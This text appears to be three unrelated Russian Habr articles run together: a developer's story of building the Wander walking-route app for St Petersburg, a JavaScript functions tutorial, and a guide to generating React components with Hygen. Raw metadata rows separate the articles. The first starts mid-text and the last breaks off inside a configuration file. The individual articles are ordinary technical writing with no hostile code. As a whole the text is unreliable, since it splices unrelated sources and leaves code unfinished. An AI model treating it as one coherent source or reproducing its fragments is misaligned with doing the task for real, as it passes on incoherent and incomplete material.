Поэтому пришла идея построения умных маршрутов. Пользователь выбирает точки A и B и получает не классический кратчайший маршрут, а что-то близкое к нему, но проходящее через расположенные рядом достопримечательности.
Аудитория такого путеводителя — не только туристы, но и местные жители, которые хотят разнообразить свои типичные маршруты до дома/работы/магазина (и такие отзывы в итоге на приложение были!) или просто лучше узнать город.
**TL;DR**
Итог — Android приложение [Wander](https://play.google.com/store/apps/details?id=ru.travelpath), которое сейчас работает только для Санкт-Петербурга.
Акт 1: Прототип
---------------
Идея пришла ещё в университете в 2014-м году, не уверен даже что идея была изначально моя, на каком-то курсе нужно было разбиться на группы, придумать проекты и выполнить их как курсовую работу. Разбились и сгенерировали идею проекта, а затем название к нему — `TravelPath` и понеслось.
Это должен был быть веб-сервис, я умел немного на PHP, поэтому выбрали PHP.
Нужно было решить несколько задач:
**1. База достопримечательностей**
Тут мы познакомились с [OpenStreetMap](https://www.openstreetmap.org/about), оказалось что это крутейший проект, который нам отлично подходит. OSM — некоммерческий проект по созданию силами сообщества карты мира. Как Википедия, только про карты.
Скачиваем карту в xml формате Санкт-Петербурга — [тут](https://wiki.openstreetmap.org/wiki/Planet.osm) есть список ресурсов, где это можно сделать.
На тот момент, помню, файлы карт весили больше 1 GB, поэтому пишется потоковый парсер, который выделяет объекты выбранных заранее категорий — памятники, парки, церкви, музеи.
У OSM есть обширная документация по тегам, атрибутам и всему что нужно [тут](https://wiki.openstreetmap.org/wiki/OSM_XML), благодаря ей не составит труда разобраться как достать из карт нужные вам данные.
Картографические данные создаются энтузиастами, поэтому не везде и не всегда у объектов проставлены нужные теги, местами есть ошибки, проблемы. Но для крупных городов данные довольно высокого качества.
Если я правильно раскопал свой старый код, то я использовал следующие теги для выборки объектов:
* `building` со значением `cathedral`, `chapel`, `church` стало категорией `church`
* `amenity` со значениями `fountain` попадает в `monument`
* `tourism` со значениями `artwork` и `viewpoint` идёт в `monument`, `zoo` и `museum` в `museum`, а `theme_park` в `park`
* `historic` со значениями `boundary_stone`, `castle`, `memorial`, `monument` уходит в категорию `monument`
* `leisure` со значением в `park` закономерно попадает в `park`
Складываем все полученные объекты в базу данных с координатами и радуемся! Вышло более 1200 точек по Санкт-Петербургу.
**2. Построение маршрута**
Не подразумевалось реализовывать сложные системы в рамках курсовой, да и технические знания на тот момент были скудны, поэтому построение маршрута решили разбить на две части: выбор объектов в маршрут и само построение маршрута. Отчасти это определило дальнейшую судьбу, потому что позже менять эту схему уже не хотелось.
Построение маршрута между выбранными точками отдали API гугл карт, который вполне неплохо строил автомобильные маршруты, но на тот момент ещё не умел пешеходные, по крайней мере в России.
Выбор же объектов нужно было реализовать самому. Получилось такая схема работы приложения:
Главный минус подхода — выбор точек в маршрут происходит без учёта карты, только на основе GPS координат. И в целом, это работает приемлемо, особенно где частая сетка улиц. Редкие проблемы заметны вдоль рек с редкими мостами, например.
Далее придумываем алгоритм выбора точек в маршрут. С одной стороны, нужно чтобы маршрут не уводил сильно в сторону, а с другой всё же выбирал какие-то точки в заданных окрестностях.
Не очень чёткая формулировка задачи, таким же вышел и алгоритм, чем-то похожий на A\* ([wiki](https://en.wikipedia.org/wiki/A*_search_algorithm)): считается что из каждой точки есть переходы в каждую. При этом в A\* цена перехода в вершину n при поиске A-B маршрута обычно выражается так: `f(n) = g(A-n) + h(n-B)`, где `g(x,y)` — длина пути от x до y, а `h(x,y)` — эвристическая оценка расстояния от x к y. У меня же цена такая — `f(n) = h(x,n) + h(n,y) * q`, где q — константа, меньшая 1. Меняя значение q, можно влиять на количество точек в маршруте.
Реализуем алгоритм и, ура, всё работает, прикручиваем интерфейс, покупаем домен, выкладываем на хостинг, пишем отчёты и прочую бюрократию и радуемся зачёту! Примерно так это выглядело (и особо не менялось после):
**Итого:** получился прототип классной идеи, познакомились с OSM, Google API, поработали в команде, получили зачёт в универе, да ещё и было интересно.
Акт 2: Первая полноценная web версия
------------------------------------
Мне очень понравилась идея и я решил развивать её дальше, но уже один. И было сразу ясно что нужно в первую очередь: на тот момент Google Maps ещё не умел строить пешеходные маршруты, строились только автомобильные. А вся идея приложения в первую очередь про пешеходные прогулки — значит нужно уметь строить маршруты по тенистым аллеям парков, пешеходным дорожкам, мостам и многому другому.
Дело было в 2015-м году и я продолжил работать над TravelPath, взялся за исправление этого фатального недостатка — стал строить пути самостоятельно.
Технологии при этом я не изменил, `PHP` + `MySQL`. Конечно, я сразу осознавал что это не самый лучший технический стек для подобной задачи (строить маршруты на PHP? серьёзно?).
Но я был ограничен во времени и не готов был переходить на более разумный стек, а во-вторых до сих пор проект писался "в стол" — пользоваться таким приложением хочется с мобильного устройства, а в те годы это означало только нативную разработку. То есть была очевидна его неприменимость в виде веб версии, даже несмотря на какие-то попытки делать адаптивный интерфейс.
Встали следующие задачи:
**1. Получение графа города**
Тут нас спасает всё тот же OSM. Снова скачиваем граф в xml формате, парсим его, выбирая только нужные типы дорог и удивляемся количеству данных — на тот момент вышло более 3млн вершин и 500к рёбер. Первая же идея — граф может быть несвязанным.
Всякие внутренние дворы, закрытые территории, непонятные штуки не очень интересуют для построения маршрута, поэтому выбираем какую-то точку, из неё обходим весь граф, помечая пройденные вершины и получаем связанную часть графа.
Итого вышло более 600к вершин и 150к рёбер.
Сохранили полученное в базу и оставили до лучших времён.
**2. Построение маршрута**
Данные есть, дело осталось за малым: по ним строить маршруты. Тут ничего нового придумывать не пришлось — вспоминаем курс алгоритмов, внимательно читаем статьи о работе с графами, берём алгоритм A\*, реализуем его на PHP и ~~радуемся~~ расстраиваемся от того, как медленно всё работает.
Данных много, поэтому при построении граф используем не полный, а читаем только его часть — всё что попадает внутрь прямоугольника, полученного по всем выбранным точкам в маршрут.
(красная рамка = ~такой граф был прочитан для построения пути)
Тоже самое и с точками-кандидатами в маршрут — учитываем не все, а только те что между начальной и конечной + небольшое значение.
Подобрав размер этого прямоугольника (константу, на которую его увеличиваем), пытаемся гарантировать что читаем минимальный необходимый размер данных.
Была ещё идея побить город на квадраты, строить маршрут сначала по квадратам, а затем читать уже граф внутри этих квадратов и искать путь только по нему. А ещё можно заранее посчитать пути между всеми соседними квадратами. Или даже больше — посчитать и сохранить пути между всеми достопримечательностями. Тогда на лету останется строить только пути от начальной до первого объекта, и от последнего объекта до финиша.
Но до реализации таких велосипедов руки не дошли.
**3. Построение маршрута за разумное время**
Сразу стало понятно, что узкое место это хранение и работа с данными — сам алгоритм поиска особо не ускоришь. Да и бенчмарки на коленке подтверждают, что основное время тратится на чтение из БД и подобные манипуляции.
Что в таких случаях нужно делать? Не хранить так граф. Но у меня особый путь, `MySQL` и ничего более, а проблему нужно решать.
1. Самое первое — данные были нормализованы, что удобно было при парсинге, но читать десятки тысяч записей да ещё и из двух таблиц — больно. Очевидное решение — из двух таблиц (для вершин и рёбер) делаем одну, только для рёбер, в которой в каждой записи координаты обоих вершин и их id.
2. Считаем заранее ближайшие вершины графа к достопримечательностям, а не делаем это на лету каждый раз.
3. Существенное время занимает поиск точки графа, ближайшей к заданной пользователю. Чтобы ускорить это, я разбил весь граф на небольшие сектора, с помощью формулы по координате можно моментально получить id сектора, а далее выбирать вершину уже только внутри сектора, а не во всём графе, что гораздо быстрее.
После всех манипуляций получаем построение любого разумного пешеходного маршрута по Санкт-Петербургу в пределах 2х секунд, что звучит неплохо — это приемлемое время ожидания для пользователей.
Итоговая схема вышла такой:
**Итого:** ещё лучше познакомился с данными OSM, на практике порешал графовые задачи (тот случай, когда наконец в деле пригодились графовые алгоритмы), написал свои первые бенчмарки.
Акт 3: Первая нормальная web версия
-----------------------------------
Тут приходят первые мысли о проекте как продукте, который может быть кому-то полезен, а не о поделке в стол.
А значит нужно решить две самые главные проблемы:
1. Было сразу очевидно, что строить маршруты так, как я сделал в прошлом пункте — неправильно.
2. Путеводитель в браузере мало кому может быть удобен — хочется гулять по городу, заглядывая в удобное приложение, где можно почитать что особенного вокруг и прочее прочее. Короче говоря как минимум — нужна крутой адаптивный интерфейс, а по-хорошему мобильное приложение.
Но на данном этапе я решил заняться только первым пунктом. Изучаем интернеты на эту тему и тут снова выручает OSM, точнее проект, который родился благодаря им — [OSRM](http://project-osrm.org/).
Open Source Routing Machine по картографическим данным из OSM умеет строить разнообразные маршруты за хорошее время. Да ещё и проект с открытым исходным кодом и хорошей документацией, который можно установить себе на сервер и использовать.
Как бонус, ещё и имеет довольно удобный API.
И об OSRM уже даже [писал](https://habr.com/ru/post/224731/) [antaresm](https://habr.com/ru/users/antaresm/) на хабре, что мне помогло на тот момент. Правда, воды утекло много и статья устарела. Но большое спасибо автору! Актуальная и довольно хорошая документация [тут](https://github.com/Project-OSRM/osrm-backend/wiki).
После успешной установки выкидываем, почти без сожаления, весь свой код про маршруты и начинаем ходить за маршрутами в api OSRM, а итоговая схема выходит такой:
Клиентскую часть даже не трогаем — с её стороны API нашего сервиса никак не меняется.
**Итого**: задумался о реальном использовании приложения другими, получилась нормальная архитектура и неплохие маршруты. Веб версия всё ещё доступна, хоть и не изменилась с тех пор. <https://travelpath.ru/>
Акт 4: Android приложение
-------------------------
Несмотря на решение прошлой проблемы, всё равно понятно что проект до сих пор бесполезен для всех, кроме меня. Потому что нужен нормальный интерфейс и, главное, мобильное приложение, а не браузерная версия. Сейчас технологии ушли вперёд и, возможно, уже получится сделать хорошо работающее браузерное приложение такого вида для мобильных клиентов, но в 2015-2016х годах нет. Что означало очень узкую возможность использования проекта в виде веб версии — посидеть дома, повыбирать интересные места для посещения заранее. Поэтому, если мы говорим о нормальном продукте, необходимо мобильное приложение с хорошим интерфейсом.
Тогда к 2016 году я начал писать на Java (но бекенд) и подумал что под Android ведь тоже на Java пишут. Почему бы и не попробовать разработку приложения, это должен быть интересный опыт.
Вторая проблема — я не умею в дизайн и хороший интерфейс сам не сделаю. Я пришёл навестить своё первое место работы (небольшую студию Le-Dantu) и предложил коллеге [burovk](https://habr.com/ru/users/burovk/) поучаствовать в проекте. Как ни странно, он согласился, за что большое спасибо :)
**Первые макеты и прототип**
Первым делом мы пытаемся придумать новое название, потому что TravelPath — не очень, да и слишком говорящая аббревиатура. И так стараниями Кирилла появляется “Wander” со смешным логотипом:
У меня он прочно ассоциировался с усатым мужиком, но в целом нравится.
Затем появляются первые макеты будущего приложения:
Ещё думаем, обсуждаем, появляется второй вариант, который и становится первой версией приложения:
Со стороны разработки я осознанно решил не использовать всякие модные фреймворки, которые делают разную магию — потому что большие риски при их использовании без понимания работы, а изучать и основы, и их, слишком трудоёмко. Гуглим, читаем официальные доки, обучающие статьи и превозмогаем трудности.
Из проблем и задач, которые запомнились:
* Для android есть `ProGuard` — утилита, сжимающая при сборке исходный код, выпиливает неиспользуемое, меняет имена и прочее прочее. Разумно что она есть, но когда ты только входишь в разработку и делаешь это сам — не очевидно что там идут переименование полей и это может повлиять на поведение. И что всё происходит только в prod сборке. В результате релиз, всё круто, а статистики почему-то нет. Начинаешь дебажить со стороны бекенда — а клиент присылает какую-то чушь, вместо нормальных имён полей — `a, b, c` и т.д. Костылишь чтобы API умело и такое парсить, а потом узнаёшь что ProGuard постарался и нужно указать нужные классы как исключение в его конфиге. Ничего в целом необычного, но часы отладки улетели.
* Интересной задачей было обновление данных приложения. Основная база данных поставляется вместе с `apk` файлом и перед каждым релизом я её обновляю. Но ещё нужно поддержать обновление по сети, чтобы у клиентов всегда были свежие данные, если были какие-то изменения.
В первой версии я решил просто ориентироваться на время последнего обновления. Приложение хранит время самого свежего объекта, при каждом запуске спрашивает бекенд с этим временем не появилось ли что нового. Ему присылают обновления, клиент запоминает снова время самого нового из полученных объектов (но не время самого обновления, это важно).
Оказалось, придумал я плохо — потому что годом позже появилась пятая категория — здания. И при обновлении со старую на новую версию возникает проблема. Пришлось немного поменять и клиент шлёт время по каждой категории, а не общее. Но схема всё равно не идеальна — при добавлении новых полей в объекты, возникают проблемы которые так не решить. Есть идеи как сделать лучше, но руки не дошли и в целом задача не очень приоритетна. Мораль — стоит внимательнее подходить к таким вопросам и думать немного наперёд.
А ещё хочу сказать то, что и так все знают — Stack Overflow невероятно крут и особенно это заметно когда ты влетаешь в разработку чего-то постороннего так, как это сделал я — сразу пишешь приложение, а не плавно с курсов, гайдов, демо примеров. И когда некого спросить знакомого. Но помимо него, помогали ещё и чаты про android разработку — там можно спрашивать более абстрактные вопросы и просить советов как лучше что-то сделать.
5 декабря 2016 года приложение попадает в Google Play
У него были только базовые функции — прокладывание маршрута, просмотр информации о точках. Но даже это казалось успехом! Успехом, конечно, только в своих собственных глазах. Было понимание что приложение всё ещё сырое и требует доработки.
**Первая полноценная версия и СМИ**
Поэтому полноценной версией и первым запуском я считаю следующий релиз.
В первую очередь мы пересмотрели и дизайн, и логотип — он теперь стал таким:
И добавили важного для путеводителя функционала — избранное, просмотр точек на самой карте, список достопримечательностей с поиском. Обновлённое приложение выглядело так:
Ещё появилась идея — связаться с Ночью Музеев и сделать отдельный режим для события в Питере.
Ночь музеев — ежегодный международный праздник, где музеи открыты ночью часто со специальными программами. Действует единый билет и многие стараются обойти много музеев сразу. В тоже время нет навигатора/карты для мобильных — только кое-какой функционал на официальном сайте мероприятия.
Звучит как то, что идеально ложится на идею Wander и является ещё и востребованным. Я связался с организаторами события, но идею, к сожалению, не оценили и она осталась лежать в уме до лучших времён.
В конце концов вышло классно и наконец приложением можно было полноценно пользоваться. 2 июня 2018 вышел релиз и его мы решили попробовать показать миру — закупили немного рекламы в ВКонтакте и Instagram. Но главное — написали в пару СМИ. Бумага написала [заметку](https://paperpaper.ru/papernews/2018/06/20/app-2/) о запуске приложения, после неё веером написали или перепечатали ещё ряд Петербургских изданий — The Village, Собака и другие. И наконец появился трафик! Установки пиком рванули вверх, графики активности внутри приложения тоже. Радоваться, конечно, долго не пришлось — но мы получили первых пользователей, полезный фидбек и вообще это очень замотивировало. Ещё тем же летом был заметен трафик из поиска по Google Play, что очень радовало, но позже результат воспроизвести не удалось.
Всё вместе это дало довольно сильную мотивацию и помогло продолжать работу над приложением.
**Что делать дальше? Ночь Музеев, злой Google, круговые маршруты**
Сезон прошёл, активность в приложении сильно упала и было ясно что просто пилить фичи не очень полезно — их никто не увидит, бюджета на маркетинг нет. Нужно было что-то придумать и тогда мы ещё раз вернулись к отложенной идеей с Ночью Музеев.
Но снова не удалось договориться о партнёрстве, тем не менее на этот раз мы решили не откладывать идею, а сделать всё своими силами. Получился ряд полезных фич в отдельном режиме путеводителя: музеи на карте, маршруты только по участникам, краткая информация, избранное.
Помимо этого режима, ещё из беклога достали сохранении маршрута и главное — фичу о круговых маршрутах.
Круговые маршруты были всегда важнее маршрутов A-B, но упорно игнорировались. Всё же люди чаще гуляют вокруг метро/дома/работы/гостиницы, чем целенаправленно из А в B. Наконец дошли до них руки и я придумал простую эвристику:
Получаем все точки внутри заданного радиуса. Радиус — ограничитель длины маршрута. Выбираем какую-то точку первой (условно случайную). Все остальные от неё сортируем в порядке возрастания угла между ней, центром и заданной точкой. Добавляем в маршрут точку только если она не сильно ближе/дальше к центру, чем предыдущая.
Этот метод позволяет влиять на размер маршрута, выбирая первую точку дальше или ближе от центра и меняя длину радиуса.
Несмотря на некоторую её странность, работает отлично, вот примеры маршрутов:
Что в этом алгоритме, что в предыдущем, для маршрута между точками А и Б, не используется информация о достопримечательностях, кроме типа, хотя очень бы хотелось. Но непонятно как использовать — ценных данных, по которым можно было бы оценивать и сравнивать точки, нет.
Ещё на этом этапе я решил попробовать Kotlin и сделать это, конечно, сразу на Wander. В целом классно, но заметно труднее читать код. Наверное это с непривычки, но всё же. По сей день новый код стараюсь писать на котлине, но старые классы с java не переписываю — не вижу смысла тратить на это время.
В сумме получилось большое обновление, выпустили его, дали рекламу, написали в СМИ. На этот раз со СМИ так сильно не повезло — заметку выпустила только The Village. Но в сумме с рекламой это дало кое-какие плоды и за ночь пользователи построили больше 1000 маршрутов, а сохранили более 1400 музеев в избранное. Кстати, самыми популярными музеями по версии Wander стали Ленфильм, Анненкирхе, Планетарий, Большой зал филармонии имени Шостаковича и Кунскамера. Список похож и на официальную [статистику](http://www.artnight.ru/media/press-releases/2019-05-24-noch-muzeev-v-peterburge-posetili-bolee-100-000-chelovek).
Отдельно хочется упомянуть Google недобрым словом. Приложение работает на их картах и это оказался очень неудачный выбор — в 2018м году они сильно изменили тарифные планы, значительно увеличив цену и уменьшив бесплатные лимиты в API. Это стрельнуло даже в моём небольшом приложении — один из пиков активности после публикации СМИ летом 2018-ого года привел к превышению количества запросов к `Places API` и его выключению. Я был бы не против даже заплатить за API, но не тут-то было — в России это возможно только для юридических лиц. То есть платёжный аккаунт для физлица не создать.
Годом позже они добавили ещё немного проблем — изменили `Places API`, потребовав у всех разработчиков поменять и приложение в определённый срок. Это дополнительная работа для меня на ровном месте, при очень ограниченным временем на приложение. Проще говоря, если вы выбираете какие карты использовать у себя — не используйте Google Maps, есть много хороших альтернатив. А я надеюсь что дойдут руки переписать карты на другой сервис.
**Итого**: запилил android приложение с нуля и до выкладки в Google Play, не умея предварительно ничего в этой области. Нашёл помощи у [burovk](https://habr.com/ru/users/burovk/), благодаря чему над Wander теперь работаю не один, а в приложении удобный и классный интерфейс.
Ты теперь не только разработчик
-------------------------------
Один из важных моментов, которые нужно понимать, когда начинаешь заниматься своим проектом для пользователей, а не в стол — то что разработка это не самое важное. Можно сколько угодно думать про архитектуру, упарываться алгоритмами, выбирать самые новые технологии, экономить биты и такты процессора — это всё ничего не значит. Это классно делать, если цель — самообразование, а сам проект пишется в стол. В ином же случае, ваших стараний никто никогда не увидит и не оценит, а время будет потрачено зря.
* Потому что какую бы прорывную идею вы не придумали и как бы круто её не реализовали — никто об этом не узнает сам по себе после `git tag v1.0.5`.
* Потому что проблема, которую решает приложение, должна быть настоящей, а не придуманной вами.
* Потому что пользователям сначала нужно чтобы приложение хоть как-то решало их проблему, а уже только потом чтобы решало хорошо.
* Потому что чем меньше у вас времени и чем больше проект — тем важнее внятно осознавать что важно, а где на качество/красоту/etc можно забить ради релиза не через бесконечность.
Я пришёл к этому с началом разработки Android версии приложения. И в уме с этого момента, постепенно, технические детали становились всё менее важными, и всё больше времени тратилось на остальное.
Работа над своим проектом для других — в первую очередь работа над продуктом, а затем уже разработка.
Планы
-----
Захватить мир! Если серьёзно, то не очень понятно что делать дальше. По функционалу, фичам, улучшениям есть куча идей, но всё так же непонятно как эти результаты доносить до пользователей, а не писать приложение в стол, не имея бюджета.
Из более крупных планов список такой:
1. Охватить и другие города — Москва? Какой-нибудь крупный европейский город?
2. Полноценная английская версия. Интерфейс уже переведён, остаётся самое сложное — перевод всего контента.
3. Версия под IOS
4. Веб версия
Но не всё это реалистично. Скажем, версию под IOS я сам вряд ли смогу написать, только если найдётся энтузиаст.
Если хотите следить за проектом — [группа в ВК](https://vk.com/wanderapp). А приложение есть в [Google Play](https://play.google.com/store/apps/details?id=ru.travelpath).
Выводы
------
* Заниматься своим проектом в свободное время, параллельно работая — тяжело. Нужно находить время на сам проект, чтобы это не было в ущерб работы и остальной жизни. Нужно учиться концентрироваться на самом главном и выбирать наименее трудоёмкие пути. Наверное, это самый необходимый навык в такой работе.
* Свой проект — классный вызов, особенно когда он не полностью профильный. Я был backend разработчиком, а благодаря ему я занимался и вебом, и вник в android разработку и Kotlin, решал продуктовые проблемы, анализировал конкурентов, думал над рекламой и продвижением. Получаешь крутые и полезные навыки, которые трудно получить иным способом.
* Находить мотивацию на такую работу — трудно. Ты тратишь много времени на какую-то работу, у которой даже не видишь особо больших перспектив в ближайшем времени. Легко на каком-то этапе всё бросить. Поэтому крутая идея, которая тебя захватывает — это очень важно.
Буду рад комментариям и предложениям. А если вдруг вы захотите сделать версию под IOS (но это вряд ли) — буду очень рад!
P.S.
Не могу не упомянуть статью о похожем проекте — <https://habr.com/post/414433/>. Именно эта статья натолкнула меня на мысль написать свою. Забавно, что мы пишем очень похожие сервисы (и оба изначально о Санкт-Петербурге!), но только с акцентом на разных частях. | https://habr.com/ru/post/471216/ | null | ru | null |
# JavaScript для чайников. Всё что вы хотели знать о функциях но боялись спросить
Как-то незаметно для себя, я решил отойти от возни с классами и паттернами, и разобраться с самыми обычными Js функциями. Думал, что будет достаточно скучно, но ошибся — оказалось очень даже интересно.
В этой статье я расскажу об особенностях объявления функций, и некоторых полезных паттернах (кхе-хе, да, они есть и тут)
#### 1. Объявление функции
Если не обращать внимание на всякие извращения, то объявить функцию можно всего двумя способами:
```
//создать именованную функцию
function a() { console.log(1); }
//создать анонимную функцию, а затем присвоить ее переменной
b = function() { console.log(2); }
```
Разница между ними кажется небольшой, но это только кажется.
###### Что будет если выполнить этот код?
```
console.log( "sample b" );
b();
function b() { console.log(1); }
```
правильно — в консоли появится сначала текст с названием примера, а потом единичка, потому что все именованные функции переносятся в начало области видимости, и вызывать их можно когда угодно.
###### Усложняем задачу
```
console.log( "sample c" );
function c() { console.log(1); }
c();
function c() { console.log(2); }
```
Но нас ведь так просто не запутать. Функции переносятся в начало ровно в том порядке, в котором они были созданы, то есть в консоли будет 2.
###### Ладно, а так?
```
console.log( "sample d" );
d();
var d = function() { console.log(2); }
```
Ответ: а тут правила другие — это вообще не заработает, потому что значение переменной на момент вызова — undefined.
###### А если так?
```
console.log( "sample e" );
var e = function(){ console.log(1); }
e();
e = function() { console.log(2); }
```
Ну тут уже все ясно, да — на момент вызова *е* содержит в себе первую функцию, так что в консоли будет единичка.
А теперь настало время для самого сложного вопроса \*барабанная дробь\*
###### А что будет тут ?
```
console.log( "sample f" );
var f = function() { console.log(1); }
f();
function f(){ console.log(2); }
f();
```
правильный ответ: два раза единичка. После своего объявления, переменные перекрывают функции.
Всегда.
#### Immediate functions
За этим названием скрываются «одноразовые» функции — они не имеют имени, и выполняются сразу после своего объявления.
Зачем это нужно? По большей части за тем, чтобы не засорять глобальное пространство имен. Например, если надо проинициализировать что-нибудь, и при инициализации нам потребуется парочка переменных которые потом вообще совсем не нужны.
Объявить такую функцию можно двумя, по сути, эквивалентными способами.
```
console.log("//immidiate function");
//sample a
(function(){
console.log( "a" );
})();
//sample b
(function(){
console.log( "b" );
}());
```
Отличий между ними нет никаких.
#### Init time branching
Иногда случается, что значение функции зависит от какого-нибудь значения, которое после инциализации не меняется. ну что-нибудь вроде этого:
```
// ПЛОХОЙ пример
function saySomethingClever(){
var appleTest = /Apple/i;
var googleTest = /Google/i;
if( appleTest.test(navigator.vendor) ) console.log("I love apples <3")
else if( googleTest.test(navigator.vendor) ) console.log("android is everything for me <3")
else console.log("i love this unpopular corporation too")
}
saySomethingClever();
```
Все здорово, кроме того, что каждый раз при вызове мы делаем ставшую уже абсолютно ненужной проверку. Переписать функцию можно так:
```
// Хороший пример
var saySomethingClever = (function(){
var appleTest = /Apple/i;
var googleTest = /Google/i;
if( appleTest.test(navigator.vendor) )
return function(){ console.log("I love apples <3"); }
if( googleTest.test(navigator.vendor) )
return function(){ console.log("android is everything for me <3"); }
return function(){ console.log("i love this unpopular corporation too"); }
})();
saySomethingClever();
```
Как мог заметить внимательный читатель, здесь используется ещё и *immidiate function*. Теперь проверка выполняется ровно один раз.
#### Self defining function
Иногда бывает так, что при первом вызове функции нужно выполнить какие-нибудь дополнительные действия. Реализовать это можно следующим образом:
```
var selfDefining = function()
{
console.log("some really heavy initialization occured");
console.log("f*ck yeah!");
selfDefining = function(){
console.log("job done!");
}
}
selfDefining();
selfDefining();
```
Такой прием помогает сэкономить одну переменную за пределами функции, по которой мы бы проверяли вызывалась функция или нет.
#### Currying
С помощью этого приема можно создать частный вариант какой-нибудь довольно общей функции. Реализация выглядит так:
```
function curry( fn ){
var slice = Array.prototype.slice,
storedArgs = slice.call( arguments, 1 );
return function() {
var args = storedArgs.concat( slice.call( arguments ) );
return fn.apply( this, args );
}
}
```
Пока конечно нифига непонятно, но это нормально. Сейчас все объясню.
Допустим у нас есть функция которая печатает сообщение.
```
function printMessage( author, message ){
console.log( author + " say: " + message )
}
```
Но в данном модуле проекта в качестве значения author всегда используют *me*, так что нам очень желательна более частная её версия принимающая только строчку с сообщением, а автора вписывающая сама.
```
var printMyMessage = curry( printMessage, "me" );
printMyMessage( "I would like to tell you about birds and bees in js world" );
```
И теперь она у нас есть.
**UPD.** Дополнение к статье от одного очень хорошего человека с ником [jamayka](http://habrahabr.ru/users/jamayka/)
#### Объявление рекурсивных функций
Например, у нас есть тупо факториал, который используется в куче кода:
```
var factorial = function (n) {
return n === 1 ? 1 : factorial(n - 1) * n;
};
```
ну или
```
function factorial(n) {
return n === 1 ? 1 : factorial(n - 1) * n;
};
```
Потом по каким-то причинам нам нужно
```
var realFactorial = factorial;
factorial = function (n) {
throw 'please use realFactorial instead';
};
```
В итоге получается, что и вызовы factorial(5) и realFactorial(5) вываливают ошибку. Это получается, т.к. рекурсивный вызов factorial использует переменную из родительской области видимости, а там она переопределяется. В этом случае надо определять функцию так:
```
var factorial = function factorial (n) {
return n === 1 ? 1 : factorial(n - 1) * n;
};
```
Ну или чтобы не путаться:
```
var factorial = function f (n) {
return n === 1 ? 1 : f(n - 1) * n;
};
```
Вроде бы всё — как всегда, исходники примеров скачать можно [тут](https://github.com/L0stSoul/Training/tree/master/Functions) | https://habr.com/ru/post/133074/ | null | ru | null |
# Создание React-компонентов с помощью Hygen
> Вы использовали когда-нибудь [Hygen](http://www.hygen.io/), автоматический генератор кода? Если еще нет, возможно, наш перевод откроет для вас новый полезный инструмент.
При разработке на React создавать компоненты вручную довольно сложно, если количество файлов, составляющих компонент, растет (например, файл Storybook, файл c тестами, модуль CSS).
Представьте, что один компонент имеет такую структуру:
[Hygen](https://github.com/jondot/hygen) — это генератор кода на основе Node.js, который позволяет автоматизировать стандартные рутинные операции с кодом с помощью интерактивной команды.
В этой статье вы узнаете, как эффективно создавать React-компоненты с помощью Hygen.
Окончательная кодовая база на GitHub доступна по [этой ссылке](https://github.com/manakuro/hygen-example-with-react).
### Обзор
Чтобы протестировать Hygen, мы настроим React-приложение, выполнив следующие действия:
1. Создать React-приложение
2. Настроить Hygen
3. Создать файлы шаблона
4. Создать файл конфигурации
5. Добавить скрипты в **package.json**.
### 1. Создать React-приложение
Чтобы ускорить процесс, мы будем использовать [create-react-app](https://github.com/facebook/create-react-app) для создания приложения React:
```
npx create-react-app hygen-app --template typescript
```
После установки вы можете запустить dev-сервер, выполнив эту команду:
```
yarn start
```
После чего мы увидим приветственную страницу:
2. Настроить Hygen
Далее установим Hygen и настроим его.
Чтобы установить Hygen:
```
yarn add -D hygen
```
Следующий шаг: мы создадим файлы шаблонов для создания React-компонентов.
По умолчанию Hygen выбирает папку **\_templates** на любом уровне папки проекта для загрузки файлов шаблонов.
В этой статье мы добавим для него собственную папку. Для этого добавьте **.hygen.js** в корень проекта:
```
module.exports = {
templates: `${__dirname}/.hygen`,
}
```
Это заменит путь по умолчанию (**\_templates**) на папку **.hygen**.
И добавьте **new/components** в папку **.hygen**:
`.hygen
└── new
└── component`
### 3. Создать файлы шаблонов
Теперь, когда мы настроили Hygen, мы создадим следующие файлы шаблонов:
* **index.ts**
* React-компонент
* Тестовый файл
* Файл Storybook
* Модуль CSS
#### index.ts
Сначала мы создадим шаблон для **index.ts**, который экспортирует все зависимости папки.
Добавьте **index.tsx.ejs.t** в **.hygen/new/component**:
```
---
to: <%= absPath %>/index.tsx
---
export * from './<%= component_name %>';
```
Hygen использует Frontmatter в качестве шаблона метаданных и движок EJS для тела.
В заголовке мы помещаем свойство **to**, которое используется для выходного пути для файлов.
Вы можете проверить все свойства в [документации](http://www.hygen.io/docs/templates/#frontmatter).
**<%= absPath %>** — это тег [EJS](https://github.com/mde/ejs), который выводит значение в шаблоне.
В этом случае, если мы назначим **src/components/atom/Button** переменной **absPath**, путь будет таким: **src/components/atom/Button/index.tsx**.
Чтобы передать переменную, нам нужно создать **index.js** для настройки, которую мы рассмотрим. Позже создайте раздел в файле конфигурации.
#### React-компоненты
Далее мы создадим шаблон для React-компонента.
Добавьте **component.tsx.ejs.t** в **.hygen/new/component**:
```
---
to: <%= absPath %>/<%= component_name %>.tsx
---
import React from 'react';
import styles from './style.module.css';
type Props = {};
export const <%= component_name %>: React.FC = (props) => {
return ;
};
```
#### Test-файл
Далее мы создадим шаблон для Test-файла.
Добавьте **test.tsx.ejs.t** в **.hygen/new/component**:
```
---
to: <%= absPath %>/__tests__/<%= component_name %>.test.tsx
---
import React from 'react';
import { render, screen } from '@testing-library/react';
import { <%= component_name %> } from '../';
test('renders component successfully', () => {
render(<<%= component_name %> />);
const element = screen.getByTestId(/test/i);
expect(element).toBeInTheDocument();
});
```
#### Файл Storybook
На этом этапе создадим шаблон для файла Storybook.
Добавьте **stories.tsx.ejs.t** в **.hygen/new/component**:
```
---
to: <%= absPath %>/<%= component_name %>.stories.tsx
---
import React from 'react';
import { <%= component_name %> } from './';
import { Story, Meta } from '@storybook/react/types-6-0';
type Props = React.ComponentProps>
const csf: Meta = {
title: '<%= category %>/<%= component\_name %>',
}
const Template: Story = (args) => <<%= component\_name %> {...args} />;
export const c1 = Template.bind({});
c1.storyName = 'default'
export default csf
```
#### Модуль CSS
Создадим шаблон для модуля CSS.
Добавьте **style.module.css.ejs.t** в **.hygen/new/component**:
```
---
to: <%= absPath %>/style.module.css
---
.container {}
```
### 4. Создать файл конфигурации
Теперь, когда мы настроили все файлы шаблонов, мы создадим файл конфигурации для Hygen.
Давайте добавим **index.js** в **.hygen/new/component**:
```
module.exports = {
prompt: ({ inquirer }) => {
const questions = [
{
type: 'select',
name: 'category',
message: 'Which Atomic design level?',
choices: ['atoms', 'molecules', 'organisms', 'templates', 'pages']
},
{
type: 'input',
name: 'component_name',
message: 'What is the component name?'
},
{
type: 'input',
name: 'dir',
message: 'Where is the directory(Optional)',
},
]
return inquirer
.prompt(questions)
.then(answers => {
const { category, component_name, dir } = answers
